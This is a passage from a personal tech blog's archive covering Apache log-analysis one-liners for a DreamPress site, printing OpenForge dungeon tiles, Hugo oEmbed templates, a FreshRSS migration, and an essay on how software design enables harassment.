-rw-r--r-- 1 root root 9.7M Sep 15 00:21 access.log.2022-09-14
-rw-r--r-- 1 root root 11M Sep 16 00:49 access.log.2022-09-15
```
Tomorrow I’ll loose the 9-11 log.
### 2. You need to know what your logs look like
Every host tweaks the format of apache logs in a different way. You’ll see I use things like `print $1` in my code, and for me I know that means “$1 is the IP address.” But that **may not** be what your host does.
Look at the logs:
```
192.0.114.84 - - [16/Sep/2022:00:49:05 -0700] "GET /wp-content/uploads/2019/10/Pure.jpg HTTP/1.1" 200 257552 "-" "Photon/1.0"
```
And then count things. IP is #1, URL is #7, and so on.
It can be a pain so please feel free to experiment and mess with it to get exactly what you want.
### 3. You may need to use http logs for everything
This is specific to **DreamPRESS** (the managed WP hosting) and is the weird thing, you always have to use the http folder **even if you use https**.
Why? Well that has to do with how the server processes traffic. DreamPress (as of the time of this post) uses Varnish to cache and Nginx as an SSL proxy. That means when you go to `https://example.com` the server has nginx check the HTTPS stuff and passes it to Apache, which runs HTTP. Those logs are your **apache** logs, not your Nginx ones.
Can you view the Nginx logs? Not at this time. Also they really are pass-throughs, so you’re not missing much. If you think you are, please open a ticket and tell them what you’re looking for in specific. Those help-desk folks are awesome, but the more clear you are about *exactly* what you’re looking for, the better help you get.
Okay! On with the show!
## Top IPs
Sometimes your site is running super slow and you want to know “Who the heck is hitting my site so much!?”
```
awk '{ print $1}' access.log | sort | uniq -c | sort -nr | head -n 10
```
This command will list the top 10 IPs that hit your site. I find this one super helpful when used in conjunction with an IP lookup service like [IPQualityScore](https://www.ipqualityscore.com/free-ip-lookup-proxy-vpn-test), because it tells me sometimes “Hey, did you know Amazon’s bots are hitting the heck out of your site!?”
You can change that `10` to whatever number of top IPs you want to look for. That tends to be enough for me.
If you know you have a lot of ‘self’ lookups (like you wrote something that has your server do a thing) you’ll want to try something like this to exclude them:
```
awk '{print $1}' access.log | grep -ivE "(127.0.0.1|192.168.100.)" | sort | uniq -c | sort -rn | head -10
```
## Popular pages (excluding images/css/js)
Sometimes you just want to know what pages are being hit, right?
Remember how I said you actually need to know what your log looks like? For me, $7 is the 7th ‘item’ in my access log:
```
192.0.114.84 - - [16/Sep/2022:00:49:05 -0700] "GET /wp-content/uploads/2019/10/Pure.jpg HTTP/1.1" 200 257552 "-" "Photon/1.0"
```
Counting is weird, I know, but the 7th is ‘/wp-content/uploads…’ so I know that the command has to use $7. BTW Photon there just means I use WordPress’s image stuff via Jetpack.
```
awk '{print $7}' access.log | grep -ivE '(mod_status|favico|crossdomain|alive.txt)' | grep -ivE '(.gif|.jpg|.png|.js|.css)' | \
sed 's/\/$//g' | sort | \
uniq -c | sort -rn | head -25
```
That returns a unique list:
```
862 /xmlrpc.php
539 /wp-admin/admin-ajax.php
382 /wp-login.php
75 /wp-cron.php?doing_wp_cron
```
And it’s not a shock those are the high hits. Nice try folks. I use things to protect me. But before we get into that…
## IPs Hitting a Specific Page
Now let’s say you’re trying to figure out what numb nut is hitting a specific page on your site! For example, I have a page called “electric-boogaloo” and I’m pretty sure someone specific is hammering that page. I’ll do this:
```
awk -F'[ "]+' '$7 == "/electric-boogaloo/" { ipcount[$1]++ }
END { for (i in ipcount) {
printf "%15s - %d\n", i, ipcount[i] } }' access.log
```
That spits out a short list:
```
12.34.56.789 - 3
1.234.567.890 - 4
```
It’s okay that the command spans multiple lines. Check those IPs and you might find your culprit.
## What ModSecurity Rule Hates Me
I have a love/hate relationship with ModSecurity. My first WP post (not question) in the forums was about it. It’s great and protects things, especially when you tie it into IPTables and have it auto-ban people… Until you accidentally block your co-editor-in-chief. Whoops!
For this one, you’ll need to ask the person impacted for their **IPv4** address. Then you can run this:
```
zgrep --no-filename IPADDRESS error.log*|grep --color -o "\[id [^]]*\].*\[msg [^]]*\]"|sort -h|uniq -c|sort -h
```
That will loop through **all** the error logs (on DreamHost they’re in the same location as the access logs) and tell you what rules someone’s hitting. Then you can tweak the rules.
Of course, if you’re not the root admin, you’ll want to ping your support reps with “Hey, found this, can you help?” They usually will.
Don’t feel bad about this, and don’t blame the reps for this. ModSecurity is **constantly** changing, because jerks are constantly trying to screw with your site for funzies and profit (I guess). Every decent host out there is hammering the heck out of their rules constantly. They update and tweak and change. Sometimes when they do that, it reveals that a rule is too restrictive. Happens all the time.
## Long Running Requests
Another cool thing is “What’s making my site slow” comes from “What processes are taking too long.”
```
awk '{print $10,$7}' access.log | grep -ivE '(.gif|.jpg|.jpeg|.png|.css|.js)' | awk '{secs=0.000001*$1;req=$2;printf("%.2f minutes req time for %s\n", secs / 60,req )}' | sort -rn | head -50
```
That gets me the 25 top URLs. For me it happened to list MP4s so I added that into my little exclusion list where .gif etc are listed.
## Who’s Referring?
A referrer is basically asking “What site sent people here.”
```
awk '{print $11}' access.log | \
grep -vE "(^"-"$|/www.$host|/$host)" | \
sort | uniq -c | sort -rn | head -25
```
This one is a little weird to look at:
```
15999 "-"
31 "www.google.com"
8 "example.com"
4 "binance.com"
```
The ‘example.com’ means “People came here from here” which always confuses me. More impressive is that top one. It means “People came here directly.” Except I know I’m using Nginx as a proxy, so that’s likely to be a little wonky.
## What are your favourite cli tools?
Do you have one? Drop a line in the comments! (Be wary about posting code, it can get weird in comments).
**Categories:** How To
**Tags:** apache, cli, command line, nginx
---
### [Open Dungeons](https://halfelf.org/2022/open-dungeons/)
**Published:** April 19, 2022
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making things with a 3D printer is all Jan's fault.
**Content:**
I play a D&D game. We recently transitioned into playing in person (yay vaccines!) and after much discussion, we have acquired a 3D printer.
Blame my friend Jan.
Anyway. One of the things I wanted to build, besides maybe minis, was the modular dungeon! I knew about the brilliant [Devon Jones](https://www.thingiverse.com/devonjones) and his OpenForge dungeons, and recently he’s pushed out a version 2. This was exactly what I wanted and needed. The problem … all the [tutorials](https://github.com/devonjones/openforge-tutorials) were for version 1. So I had to sit down and figure out what I really needed.
## What’s OpenForge?
[OpenForge](http://masterwork-tools.com/openforge) is an open source (heh) dungeon set for D&D which lets you build…. oh this:
Example build by the creator – Devon JonesOriginally we used images on a screen, or (badly) drawn lines on a mat. And all my D&D life, we used graph paper and ‘theatre of the mind.’ We’ve also been playing online for almost a year, and now that we’re in person, I find myself wanting minis and a set for people too SEE the evil that is in my mind.
## What Connections
There are three main types of connections:
- Magnets – Most common, it lets things be compatible with Dwarven Forge
- [OpenLock](http://printablescenery.com/) – this is a kind of lego-esque clip connection from Printable Scenery. It’s open source.
- [Dragonbite](http://www.fatdragongames.com/fdgfiles/?p=4240) – Proprietary (licensed) but compatible with their system
- Infinitylock – Compatible with the [DungeonWorks](https://gamedecor.com) system
- Glue – … As it says.
Magnets are a little weirdly expensive, since you have to buy the magnets to go in. Glue is messy. What I wanted was OpenLock — it’s more stable and my supplies are upstairs.
Originally I was really anti-glue, but as time went on, I came to appreciate it. Especially since I can throw things in the freezer to separate them! But day to day I wanted to be able to click things together like lego and change up sets when needed.
## Sets
The next bit is where I got miles of miles confused. Here are the recommended **starter** sets for the Stone setup. I figured stone is 90% of what I’ll be using for now (there are other places where we may be on mats, like for the beach or wood battles (yes, beware players! More adventures are coming!):
[**Stone Floor**](https://www.thingiverse.com/thing:2787905)
- 16 dungeon\_stone\_floor.inch.E
- 8 dungeon\_stone\_floor.inch.F
- 2 dungeon\_stone\_floor.inch.R
- 4 dungeon\_stone\_floor.inch.U
[**Stone Walls**](https://www.thingiverse.com/thing:2787903)
- 20 dungeon\_stone\_wall.inch.A
- 4 dungeon\_stone\_wall.inch.BA
- 8 dungeon\_stone\_wall.inch.G
- 2 dungeon\_stone\_wall.inch.IA
- 4 dungeon\_stone\_floor.inch.Q
- 4 dungeon\_stone\_column.inch.I.stl
- 8 dungeon\_stone\_column.inch.L.stl
- 4 dungeon\_stone\_column.inch.O.stl
- 4 dungeon\_stone\_column.inch.X.stl
- 4 dungeon\_stone\_column.inch.T.stl
If you look at that, though, you wonder what the heck E, F, R and U are. Oh and then there’s Openforge vs Triplex!? And some of those files have SIDE in there!?!
## Bases
First, we’ll cover the bases. Depending on how you want to connect, depends on the base you want. The one we’re going to use is **triplex** – which has many openlock ports, one per edge between squares and one per square. So here’s what Triplex looks like:
1×1 Topper2×1 TriplexThe non Triplex is just a ‘topper’ which you will then glue or magnet on to your bases (hence why I came to love the glue). The Triplex comes with holes on the sides, which are for using OpenLock clips! That said, you will need to [prep your printed whatnots for the clips](https://support.terraintinker.com/article/13-preparing-your-openlock-tile-pieces). Which is also a pain in the ass.
This means I looked at the toppers and then I looked at the bases. There were a lot of options, and I finally settled on the one that had the least amount of work for me: [OpenForge 2.0 Plain OpenLOCK Base](https://www.thingiverse.com/thing:1910972)
Related to that, the ‘side’ versions of walls are ones with click holes on the sides, as well as front/back.
### OpenLock
I like this. It’s a double ended clip you stick in the holes in the above. They look like this:
Photo of Springy OpenLock Clip by [Marcel Toele](https://www.thingiverse.com/eleotlecram)
Stick ’em in the hole, click and done. Now if you don’t want to use the clips, you can put magnets in some of those holes. If you’re using OpenLock, you want about 2 clips per tile you print, so 54 for the starters. For magnets you’ll need 256. Big difference!
Many people recommend the [Springy OpenLock Clip](https://www.thingiverse.com/thing:3367267) by Marcel Tool, who makes a loose, medium, and firm springy version (he recommends the medium). For whatever reason, I could not get it to build properly reliably (sometimes it was okay), so I used the ones made by Jones and the official ones until I could figure out why my slice was wrong (I’m very new at this!).
## Letters
Now! What the bell end does “dungeon\_stone\_wall.inch.A” mean?
Well after some serious digging I found the [documentation about filename](https://www.patreon.com/posts/new-filename-56811509)! **\[Texture\]#\[Shape\]+\[Shape Options\].\[Letter\].\[Connection system\]+\[Options\].stl**
Now… that’s the **new** naming convention, but as you can see on Thingiverse, the names aren’t that. But! That clued me in to the fact that those letters, A and AS and so on all relate to the **OpenLock** code!
This is made worse by the ThingiVerse display:
If you hover over the name, you can see the whole name but you cannot click on the small picture and see the big one. I had to turn off ‘max width’ to get the full names, and everything looks like this:
- dungeon\_stone\_floor.inch.AS.openforge.stl
- dungeon\_stone\_floor.inch.AS.triplex.stl
Obviously I don’t need openforge AND triplex. But that still was a pain in the butt to get the list of. And those tiny photos meant I was going mad to figure out what the hell was what Thankfully [someone else felt my pain](https://martinnr5.com/2019/10/09/getting-to-grips-with-openforge-part-1/), and with that I made a key!
### Keys
FilenameSize\#AS3″ x 1″ rectangle (wide)E2″ x 2″ square16EA3″ x 3″ squareF2″ x 2″ curve/V8I1″ x 1″ squareR2″ x 4″ rectangle2S1″ x 2″ rectangle (tall)SA1″ x 3″ rectangleSB1″ x 4″ rectangleU4″ x 4″ square4\# means the recommended number to print from the starter setThat makes a lot more sense, right? I tend to use sprawling dungeons and large rooms (they’re fighting in the castle as I started all this) it would work for me. Except for the 8 F’s. I don’t use curves like that because I’m hand-making maps and I hate curves. I can’t make straight lines.
Walls are a little weirder since a number of items have ‘side’ options and ‘pegs’ options.
FilenameSizeSidePegs\#A0.5″ x 2″YesYes20B0.5″ x 1.5″YesNo4G0.5″ x 2″ x 2″ curved cornerYesYes8IA0.5″ x 1″YesYes2Q0.5″ x 4″YesYes4I1″ x 1″NoNo4L1″ x 1″NoNo8O1″ x 1″NoNo4X1″ x 1″NoNo4T1″ x 1″NoNo4**\#** means the recommended number to print from the starter setYou’ll notice new columns!
- **Pegs** is if there’s an alt version with pegs for making a second layer (not needed for starters)
- **Sides** is if there’s an alt version with clip slots on the sides
All columns are 1″x1″, but have pegs in different places.
## What did I Print?
The weird part about this was figuring out if I really wanted Triplex (supports all three) or just plain bottoms and glue on tops… I will likely use the same floors over and over and over again. And I don’t plan on stacking layers…. Yet. Not until they have fights in a house. Otherwise I’ll pop upstairs, get the next set, and pop back down and have them scream their delight at me.
So what did I end up building?
- 54+ OpenLock clips — these are a mix of springy and official and Devon’s
- 36 2×2 bases (E) — these are a mix of topless (10) and the old plain ones (26)
- 16 2×2 curved bases (G) – topless
- 2 2×4 bases (R) — topless
- 8 4×4 bases (U) — topless
- 16 cut stone 2×2 toppers (E)
- 20 cut stone 2×2 walls (G)
- 20 cut stone 2×2 wall floor (G)
- 4 cut stone 4×4 toppers (U)
- 4 cut stone 4×4 wall floor (U)
- 4 cut stone 4×4 walls (U)
Example of how to do an interior hallway by **Manfred G**
You’ll notice things are more than they recommended. Once I went with toppers, while it does mean a lot of gluing, it also let me use the new Wall Floor system, which obviates the drama of a wall being a half inch. Instead of having a half-inch gap between wall and the floor behind it (like if you’re doing internal walls), you can make a wall that takes up a half inch, and then a floor for an inch and a half.
The example image I included is weird, I know, but basically those are **TWO** `towne_wall.floor.inch.2x1`, which are both 1 inch wide. Then two walls which are each a **half** inch for a total of three inches. Plug them onto an AS or SA (3 inches by 1 inch) and you have a hallway!
Since I’m building a specific campaign, I mathed out what I needed to mimic the boss fight. In the end, I decided to change the size a little from paper map to cardboard to real, to compensate for what I was doing.
I had to wait to post this until (a) the printer showed up and (b) I had successfully built the set. My wife knew I was doing this. The others did not. And due to the time crunch we did not paint them. Still… it worked! Here are some of the ones I’ve made (or am making) and a cardboard to compare:
So far, it’s all been well received.
**Categories:** How To
**Tags:** 3d printing, d&d
---
### [oEmbedding Hugo](https://halfelf.org/2021/oembedding-hugo/)
**Published:** November 10, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Even more oembed magic, this time for a static site builder.
**Content:**
No, not Hugo …

No no. *[Hugo](https://gohugo.io)*
[](https://gohugo.io)
I’ve been using Hugo to [power a part of a website](https://halfelf.org/2015/hugo/) for quite a while now. Since 2015 I’ve had a static site, a simple library, with around 2000 posts that I wanted to be a static, less-possible-to-be-hackable site. It’s purpose was to be an encyclopedia, and as a Hugo powered site, it works amazingly.
But… I do use WordPress, and sometimes I want to link and embed.
## Integrations Are Queen
It helps to have a picture of how I built things. Back in *\*cough\** 1995, the site was a single HTML page. By 1996 it was a series of SHTML (yeah) with a manually edited gallery. Fast-forward to 2005 and we have a gallery in the thousands and a full blown wiki.
Now. Never once did I have integrated logins. While I love it for the ease of … me, I hate it from a security standpoint. Today, the blog is powered by WordPress and the gallery by NetPhotoGraphics and the ‘wiki’ by Hugo (I call it a library now). Once in a while I’ll post articles or transcripts or recaps over on the library and I want to cross link to the blog to tell people “Hey! New things!”
But… from a practical standpoint, what are the options?
1. A plain ol’ link
2. A ‘table’ list of articles/transcripts/etc by name with links
3. oEmbed
Oh yes. Option 3.
## oEmbed and Hugo is Complex
Since Hugo is a static HTML generator, you have to create faux ‘endpoints’ and you cannot make a dynamic JSON generator per post. Most of the things you’ll find when you google for oEmbed and Hugo is how to make it **read** oEmbed (like “[adding a generic oEmbed *handler* for Hugo](https://bofh.org.uk/2020/05/12/oembed-for-hugo/)“). I wanted the other way, so I broke down what I needed to do:
1. Make the ‘oembed’ JSON
2. Make the returning iframe
3. Add the link/alternate tag to the regular HTML
Unlike with NetPhotoGraphics, wherein I could make a single PHP file which generated the endpoints and the json and the iframe, I had to approach it from a different angle with Hugo, and ask myself “How do I want the ‘endpoints’ to look?
See you actually **can** make a pseudo endpoint of `example.com/json/link/to/page` which would generate the iframe from `example.com/link/to/page` and then `example.com/oembed/link/to/page` but this comes with a weird cost. You will actually end up having **multiple** folders on your site, and you’d want to make an `.htaccess` to block things.
This has to do with how Hugo (and most static site generators) make pages. See if I wanted to make a page for ‘about’, then I would go into `/posts/` and make a file called `about.md` with the right headers. But that doesn’t make a file called `about.html`, it actually makes a **folder** in my `public_html` director, called `about` with a file in there named `index.html` — that’s basic web directory stuff, though.
But Hugo has an extra trick, which allows you to make custom files. Most people use it to make AMP pages and they explain the system like this:
> A page can be output in as many output formats as you want, and you can have an infinite amount of output formats defined **as long as they resolve to a unique path on the file system**. In the above table, the best example of this is `AMP` vs. `HTML`. `AMP` has the value `amp` for `Path` so it doesn’t overwrite the `HTML` version; e.g. we can now have both `/index.html` and `/amp/index.html`.
Except… your ‘unique path’ doesn’t have to be a path! And you can customize it to kick out differently named files. So instead of `/index.html` and `/amp/index.html` I could do `/index-amp.html` in the same location.
So that means my options were:
1. A custom folder (and subfolders) for every post per ‘type’ of output
2. Subfiles in the already existing folder
I picked the second and here’s how:
## Output Formats
The secret sauce for Hugo is making a new set of [output formats](https://gohugo.io/templates/output-formats/).
```
outputFormats:
iframe:
name: "iframe"
baseName: "iframe"
mediaType: "text/html"
isHTML: true
oembed:
name: "oembed"
baseName: "oembed"
mediaType: "application/json"
isPlainText: true
```
By *omitting* the **path** value and telling it that my **baseName** is `iframe` and `oembed`, I’m telling Hugo not to make a new folder, but to rename the files! Instead of making `/oembed/index.html` and `/oembed/about/index.html` I’m making `/about/oembed.html`!
Boom.
The next trick was to tell Hugo what ‘type’ of content should use those new formats:
```
outputs:
home: [ "HTML", "JSON", "IFRAME", "OEMBED" ]
page: [ "HTML", "IFRAME", "OEMBED" ]
section: [ "HTML", "IFRAME", "OEMBED" ]
```
Home also has a JSON which is something I use for search. No one else needs it.
## New Template Files
I’ll admit, this took me some trial and error. In order to have Hugo generate the right files, and not just a copy of the main index, you have to add new template files. Remember those basenames?
- `index.oembed.json`
- `index.iframe.html`
Looks pretty obvious, right? The iframe file is the HTML for the iframe. The oembed is the JSON for oembed discovery. Those go right into the main `layouts` folder of your theme. But… I ended up having to duplicate things in order to get everything working and that meant I also made:
- `/_default/baseof.iframe.html`
- `/_default/baseof.oembed.json`
- `/_default/single.iframe.html`
- `/_default/single.json`
Now, if you;’re wondering “Why is it named `single.json`?” I don’t know. What I know is if I named it any other way, I got this error:
> WARN: found no layout file for “oembed” for layout “single” for kind “page”: You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
So I did that and it works. I also added in these:
- `/section/section.iframe.html`
- `/section/section.oembed.json`
Since I make heavy use of special sections, that was needed.
## The Template Files
They actually all look pretty much the same.
There’s the oembed JSON:
```
{
"version": "1.0",
"provider_name": "{{ .Site.Title }}",
"provider_url": "{{ .Site.BaseURL }}",
"type": "rich",
"title": "{{ .Title }} | {{ .Site.Title }}",
"url": "{{ .Permalink }}",
"author_name": "{{ if .Params.author }}{{ .Params.author }}{{ else }}Anonymous{{ end }}",
"html": ""
}
```
And there’s the iframe HTML:
```
{{ .Title }} · {{ .Site.Title }}
{{ .Title }}
{{ .Summary }}...
{{ .Site.Title }}
```
Note: I set `summaryLength: 10` in my config to limit the summary to something manageable. And no, you’re not mis-reading that, the library generally has no images.
And then in my header code for the ‘normal’ html pages:
```
{{ if not .Params.notoembed }}
{{ "" | safeHTML }}
{{ end }}
```
I wanted to leave a way to say certain pages were **non** embeddable, and while I’m not using it at the moment, the logic remains.
## Does it Float Work?
Of course!
Nice, quick, to the point.
**Categories:** How To
**Tags:** hugo, oembed
---
### [FreshRSS: A Simpler Self Hosted RSS Manager](https://halfelf.org/2021/freshrss-self-hosted/)
**Published:** September 10, 2021
**Author:** Ipstenu (Mika Epstein)
**Content:**
I’ve been using [Tiny Tiny RSS](https://tt-rss.org) for … well [years](https://halfelf.org/2012/tiny-tiny-rss/). Almost a decade. I like it a lot, the interface is nice and pretty to use. But there have always been some serious lingering issues with it.
1. The developer is very opinionated, to the point of aggression
2. The development is Docker, to the point that non-Docker support is non existent
3. Support for ‘non modern’ browsers means Safari is not supported
Now I’m opinionated, and I can be curt and blunt at times. And I work with a lot (A LOT) of people who are similar. I do plugin reviews for WordPress.org — trust me, I know from opinionated developers. I have lost track of the time I’ve spent arguing with prima donnas who cannot fathom that their code might not be god’s gift to the universe.
The majority of people, thankfully, are not like that. They recognize no one is perfect, they understand that sometimes you have to make allowances in your code for the sake of a system, and most of all they aren’t aggro when told “no.” (If you find yourself getting pissed off, BTW, when someone reviews your code, yes, I’m talking about you.)
Anyway. [Andrew Dolgov](https://fakecake.org/) is an amazing developer, a talented one at that. But he has a very ‘my way or GTFO’ kind of flow, and since it’s a single-man project, I really do get that. And for the time that he happily supported PHP on whatever, I didn’t care. The code worked, he didn’t have any strong opinions that offended me (like being a Nazi sympathizer, and yes, I’ve ditched software I love for that), and so what if he was a bit prickly?
But… He’s Docker all in. And I like Docker, but I don’t want to run it all the time, and certainly not for a flippin’ RSS reader that is PHP and SQL and that’s it. As time went on, it got harder and harder and harder to manage and maintain a slight fork, to the point that it’s just not worth it.
## The Replacement: FreshRSS
[FreshRSS](http://freshrss.github.io/FreshRSS/). It’s a barebones, simple, easy to install RSS reader. How easy? It’s practically a ‘famous five minute install.’
The selling points are:
- Open Source (AGPL)
- Easy and fast install
- No Docker requirement
- Many active contributors
- [Active development](https://github.com/FreshRSS/FreshRSS)
- [Extensions library](https://github.com/FreshRSS/Extensions)
- French language support
- [Clear documentation](https://freshrss.github.io/FreshRSS/)
That’s really all I needed.
The install was to download the [latest release](https://github.com/FreshRSS/FreshRSS/releases), unzip it on my server, and then I went to the URL where I’d installed it ( i.e. `https://example.com` ) and entered the DB credentials. Then I made a new account and boom. Done.
Much like with TTRSS, I have to set up a cron job to run the refresh, which I set to hourly:
`php /home/username/`example.com`/app/actualize_script.php > /home/username/FreshRSS.log 2>&1`
Now I have to migrate my content to actually have something to check.
### The Migration
First up, you have to export from TTRSS, which is not as obvious as all that. The best way is via command line:
`$ php ./update.php --opml-export "ipstenu:ipstenu.opml"`
Don’t waste time with the various plugins, they’re not supported and in my experience, don’t work. Also if you’re mystified trying to find out how to export, it’s not just you. I had to trawl through the forums to find an example that didn’t work, but did link me to the code and I was able to figure it out from there.
Once you have that, save the OPML file and pop over to FreshRSS and import. It will keep your categories and everything.
Yeah, that was it!
### The Tweaks
Most of the settings are fine as is. I turned off the option to mark as read when I scroll by (I regularly use unread to know what I need to handle next):
I also added in a [filter](https://freshrss.github.io/FreshRSS/en/users/03_Main_view.html#filtering-articles) to mark a specific feed as read *unless* it mentions a keyword which was as easy as a filter for `-intitle:keyword` to that feed.
I picked a theme that made me happy to boot.
All in all, it was a super easy move.
**Categories:** How To
**Tags:** FreshRSS, open source, rss, ttrss
---
### [Failure to Protect](https://halfelf.org/2021/failure-to-protect/)
**Published:** June 16, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I talk a lot about things that are wrong. Things that lead to abuse. And the question everyone has is "How do I fix this?"
**Content:**
Something I knew would come up after I posted about my [ongoing harassment](https://halfelf.org/2021/when-its-not-burnout/) is the question “How do we fix this?”
Now, the cause of all this actually can be boiled down to two things:
1. A systemic failure of social services to help those in need
2. The overall lack of awareness of how tools are abused
I can’t really fix the first one. The world is broken on many levels and the fact that people in pain and anger have no help, and thus lash out in anger at me, at you, at people who write code, at people just trying to help … That’s all of us. We need health care (physical and mental). We need fair and equal pay. We need a living wage, not a minimum one where companies *literally* pay you that because they don’t have to treat you like a human.
That one is huge.
But the other problem? That’s why I posted.
## How Can Code Be (Ab)Used?
When we write code, and this is pretty much all of us, we’re trying to solve a specific problem. Sometimes that problem is huge, with multiple layers and facets and complexities that make us look like a scene from “A Beautiful Mind.” If we’re lucky. Usually we look like this guy”
Regardless of how twisty-turney our code is, though, at the end of the day the question many of us forgot to ask is “What’s the **worst** thing someone can do with our code?”
Let me give you an example.
“What’s a bad thing someone can do with Akismet?”
Right? It’s an anti-spam plugin that checks via a closed-API (meaning, I have no idea how it works) so it’s not easy at all to abuse, you might think. Well, without any forethought, the very first thing that comes to mind is I could write a bunch of clearly spam comments, spin up my VPN, and use someone else’s email address to leave spam comments on a hundred or a thousand blogs. That would get the email flagged and they’d probably have to constantly struggle until they figured out why, if they ever could. All they’d know is their comments never show up. Give me a couple hours and I could automate that, set it out into the world, and reap the joy of annoying someone.
I’m fairly certain I just screwed up someone’s day with that, by the way. Sorry/Not Sorry friends over at Akismet. Because that’s my point. If Akismet **has not** already sat down and made a list of all the shitty, terrible, vile things someone could do with their product, they’ve failed to fully protect its users.
## Disruption Makes Harassment
When we build to ‘disrupt’ we do so with the knowledge we’re breaking the system. Sometimes we’re breaking it stupidly, like “Uber is disrupting taxis!” really is “Uber figured out that people would rather know what they’re going to pay, and wanted an easy way to hail a gosh darn taxi in the first place! Let’s go!” And yes, I have a low opinion on the ideas to ‘revolutionize’ the bus system (spoilers? invest in public transportation, not privatization).
The thing is, we continue to attack a single, specific problem. Big, large, whatever, we’re solving *a* thing.
But the problem with this is our disruptions create opportunities for harassment.
Did you get a delivery from Instacart or DoorDash? They know where you live and what you eat. Those are all known risks of course. Could someone roofie my food or tamper with it? Sure! Now the solving of that falls onto the people who package the delivery. Restaurants will tamper-proof seal their deliveries, but that’s on them. What did DoorDash do? Nothing I can find. Instacart? Most of their stuff is pre-packaged, but if you get fresh fruits etc, gosh they could. It’s like those stupid Halloween rumours we heard growing up. None were true, but …
Uber received 235 reports of a rape occurring during a ride in the United States in 2018. Those are the numbers of **reported** cases, [provided by Uber](https://www.uber.com/newsroom/2019-us-safety-report). Remember, rape is wildly underreported in the US (probably everywhere). Now think about all the information an Uber driver has on you? They know where they picked you up, they know where they dropped you off, and they know your name. [And they can get your phone number](https://angelinatravels.boardingarea.com/2018/02/27/uncovering-flaw-uber-drivers-can-access-real-phone-number/).
All those great innovations? Actually yes. They’re really helpful to people! Calling a car to your door that’s more reliable than a Taxi? Hell yes! But they are incredibly easy to use to harass someone. Of course they require you to be in the same general location, but still. What are **they** doing to make **us** safer? What about the *drivers*? Someone I know quit driving because the guy wanted her to drop him off inside a super suspect parking lot. She dropped him off outside. He called her a four letter word that starts with a C.
## Social Media Makes Monsters
I’m sure I don’t have to list out the problems with social media. If someone harasses me, I block them, but they can make a new account and a new account and a new account. They can get a VPN and a fake email, and we’re always and forever behind the 8 ball catching and stopping.
Why do [Facebook moderators have PTSD](https://www.nytimes.com/2018/09/25/technology/facebook-moderator-job-ptsd-lawsuit.html)? Why do content moderators on YouTube have to [sign a waiver ](https://www.theguardian.com/technology/2020/jan/24/youtube-moderators-contract-ptsd-mental-health)agreeing that they know their job may case mental breakdowns, and it’s not YouTube’s fault?
And the answer here is because our solutions are **HUMANS**.
We disrupted communication, but we opened the door for harassment because there was little to no forethought put into how to protect anyone. In fact, I bet I know how the conversation went (spoilers? I had this conversation with someone):
“Hey, someone could make a hundred fake accounts all to call someone a jackass.”
“Yep. No point trying to stop that. We block ’em they’ll just make new accounts.”
“Yeah, good point. Okay, next item on the agenda? Bots!”
Oh yeah, Bots totally extended from that problem. I used to use something called [Block Together](https://blocktogether.org) to catch and block bots and spammers and harassers, but the fact that it shut down and Twitter never made anything better is … well it tells a story, doesn’t it? Can anyone tell me what Twitter’s done?
Well they, and Facebook, claim to be using machine learning to find and track abuse, but here’s the funny thing. I have a friend who has been permabanned from Twitter for telling someone to jump in a volcano. The claim was she was violent and sent a legitimate and **plausible** threat. About a volcano. Which she does not own. I mean, do any of us? it’s not even that it was a bad joke about suicide, it was flagged as a violent threat.
Want to know how that happens? It’s easy. She tells a man to shove it, he and his friends mob-report her, Twitter’s AI decides “Gosh, if all these people flagged her, it’s real!” and ban her. No appeals. Done. And this story is repeated over and over, that the AI caught something (people talking about black and white chess pieces was pretty recent), banned someone, and that’s the end of it.
All this is not to mention the ongoing racist and sexist biases of AIs, like how Asian people can’t use FaceID, or how Google’s AI labelled black people as gorillas? All of those things come down to the problem of people with biases (which is a systemic issue related to the failure of social services) building AIs and not thinking about the abuse therein (which is … an us problem).
To put this a different way, we’ve been fighting spam in email since email was born, and everyone *still* gets some in their inbox. If we can’t win with that? We’re never going to win with an AI and abuse.
## Democratizing Abuse
Now, I’m going to say something controversial.
WordPress democratized abuse.
I’m not talking about WordPress.org and the forums and plugins and themes. I’m talking about your blog. If you have comments open, what’s to stop someone from leaving comments pretending to be you? Heck, if you have comments open, what’s to stop someone from leaving comments pretending to be **ME**? How do you ban someone from your site? How do you ban them from a network? How do you stop them from making an account or email one after another and using your contact form to be a jerk?
I have 10+ rather insane messages from a contact form that tells you that even for me, someone who is pretty much awesome at WordPress code, this is not easy. For a long time, you couldn’t filter contact form messages to block spammers on Jetpack. How long? Well I [opened the ticket in 2014](https://github.com/Automattic/jetpack/issues/430), so it was a long time until 2020, when [someone else made a new ticket about](https://github.com/Automattic/jetpack/issues/16513).
Is all this WordPress’ fault? Absolutely not! I don’t have to have comments on most of the time, or a contact form. You’ll notice I have neither on most posts on this site, and it’s for a reason. Abuse and harassment. In fact, WordPress gives me the agency to both harass people via my blog (if I wanted to) **and** protect myself from the harassment by others. That’s a fun one when you say it out loud, ain’t it?
WordPress is a weapon, like all websites. When wielded by the good and just, it’s a weapon for good and justice. When it’s not? Let me just point out that there are a lot of ‘revenge porn’ type sites out there, powered by WordPress. And again, **none of that is WordPress’ fault**.
We built WordPress to make it easier to publish whatever we want, whenever we want. We build features and plugins and themes to share stories. Not all of those stories are good. Some of them are abusive. And while there are already laws out there about it, technology is a massive whole of lawlessness where the laws can’t be applied.
We’ve all heard “Guns don’t kill people, people kill people.” Some of you even know the common retort “Guns make it a heck of a lot easier, though.”
WordPress isn’t the harasser, but gosh it makes things easier. And if that doesn’t give you chills and nausea, you’re not paying attention to the world. It sure scares the snot out of me.
## The Open Consequences Net
I have to preface this bit with the fact that I don’t believe in ‘Cancel Culture’ but I do believe in **consequence** culture. Do I think you should be ‘canceled’ for telling a single off-colour joke 5 or 10 years ago? Hell no. But do I think you should be canceled for telling multiple jokes, being a defensive jerk when called out on them, and showing your literal penis to people? Hell yes.
Actions have consequences. Or at least they should. And the problem we’re facing is that by making an Open Internet, which I’m in full support of, we failed to put in any way to enforce consequences. Everything is silo’d so I can ban you from site A or B, but not C or D. Worse, because you can make another email or get a new IP, I cannot permanently ban you forever, just from each account.
Basically? We built something so wild and free and open, we cannot contain or control it anymore.
## Can We Fix It?
This is the part where I tell you how much I hated making this post.
See, I have no idea. Seriously.
